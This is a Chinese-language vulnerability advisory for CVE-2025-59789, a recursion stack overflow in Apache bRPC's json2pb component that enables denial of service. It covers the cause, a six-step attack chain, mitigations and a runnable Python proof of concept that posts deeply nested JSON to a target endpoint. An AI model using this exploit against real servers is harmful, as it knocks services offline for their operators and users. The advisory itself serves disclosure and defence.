IPBUF安全漏洞报告
English
CVE-2025-59789 CVSS 7.5 高危

CVE-2025-59789 Apache bRPC json2pb组件递归栈溢出漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-59789
漏洞类型
栈溢出/拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache bRPC

相关标签

Apache bRPC栈溢出拒绝服务递归溢出json2pbrapidjsonCVE-2025-59789高危漏洞远程代码执行-拒绝服务无需认证

漏洞概述

CVE-2025-59789是Apache bRPC中json2pb组件存在的一个高危安全漏洞。该漏洞影响Apache bRPC 1.15.0之前的所有版本,攻击者可以通过发送深度递归的JSON数据来触发未受控制的递归调用,最终导致服务器发生栈溢出崩溃。Apache bRPC是一个高性能的RPC框架,被广泛应用于百度及其他互联网公司的分布式系统中。该漏洞的成因是bRPC的json2pb组件使用rapidjson解析器来处理来自网络的JSON数据,而rapidjson默认采用递归解析方式。当攻击者构造具有大深度嵌套结构的JSON数据时,解析函数会进行深度递归调用,消耗大量栈空间,最终触发栈溢出。此漏洞无需任何认证即可被利用,攻击者可以通过向暴露的HTTP+JSON接口发送恶意请求来触发崩溃,对服务的可用性造成严重影响。

技术细节

Apache bRPC的json2pb组件在处理JSON数据时依赖rapidjson库进行解析。rapidjson解析器默认使用递归下降解析算法来处理嵌套的JSON结构。当解析深度嵌套的JSON对象时,解析器会递归调用自身来处理每一层嵌套,每一层嵌套都会在栈上分配新的函数调用帧。当JSON嵌套深度过大时,递归调用链会消耗大量栈空间,导致栈溢出。攻击者可以利用这一特性构造特定的恶意JSON数据,例如:{'a':{'b':{'c':{...}}}}(无限嵌套)。当服务器接收到此类数据并调用JsonToProtoMessage或相关函数进行处理时,会触发深度递归,最终导致进程崩溃。漏洞影响所有使用bRPC服务器处理HTTP+JSON请求的场景,以及直接使用JsonToProtoMessage转换不受信任输入的场景。修复方案在bRPC 1.15.0版本中引入了递归深度限制,默认值为100层,超过限制的请求将被拒绝。

攻击链分析

STEP 1
步骤1
识别目标:探测使用Apache bRPC的HTTP+JSON服务接口,确认目标服务器运行bRPC版本< 1.15.0
STEP 2
步骤2
构造恶意载荷:创建深度嵌套的JSON数据(嵌套深度>100层),例如逐层嵌套的对象结构
STEP 3
步骤3
发送攻击请求:通过HTTP POST请求将恶意JSON数据发送到bRPC服务器的json2pb解析接口
STEP 4
步骤4
触发递归解析:rapidjson解析器接收到深度嵌套JSON后进行递归解析,每层嵌套触发一次函数调用
STEP 5
步骤5
栈溢出发生:当递归深度超过栈空间限制时,发生栈溢出异常,导致服务器进程崩溃
STEP 6
步骤6
拒绝服务达成:服务器进程崩溃后无法响应正常请求,实现对服务的拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json import requests # CVE-2025-59789 PoC - Deeply nested JSON causing stack overflow in Apache bRPC json2pb # This PoC demonstrates how to trigger the vulnerability by sending a deeply nested JSON payload def generate_deep_nested_json(depth=150): """Generate a deeply nested JSON object to trigger stack overflow""" nested = {} current = nested for i in range(depth): current[f'level_{i}'] = {} current = current[f'level_{i}'] current['data'] = 'trigger_overflow' return nested def exploit_cve_2025_59789(target_url, depth=150): """ Exploit CVE-2025-59789 by sending deeply nested JSON to Apache bRPC server Args: target_url: URL of the vulnerable bRPC HTTP+JSON endpoint depth: Nesting depth of the JSON payload (default: 150, exceeds default limit of 100) Returns: Response from the server """ payload = generate_deep_nested_json(depth) headers = { 'Content-Type': 'application/json', 'User-Agent': 'CVE-2025-59789-PoC' } print(f"[*] Sending deeply nested JSON (depth={depth}) to {target_url}") print(f"[*] Payload size: {len(json.dumps(payload))} bytes") try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed (may indicate successful exploitation): {e}") return None # Example usage if __name__ == '__main__': target = 'http://target-server:8080/your_endpoint' exploit_cve_2025_59789(target, depth=150)

影响范围

Apache bRPC < 1.15.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在应用层对JSON输入进行预处理,检测并拒绝嵌套深度过大的请求;2) 在API网关或反向代理层面配置请求体大小和结构复杂度限制;3) 限制暴露的bRPC HTTP+JSON接口仅对可信来源开放;4) 监控服务器资源使用情况,及时发现异常请求。需要注意的是,这些措施仅为临时缓解,不能完全替代版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表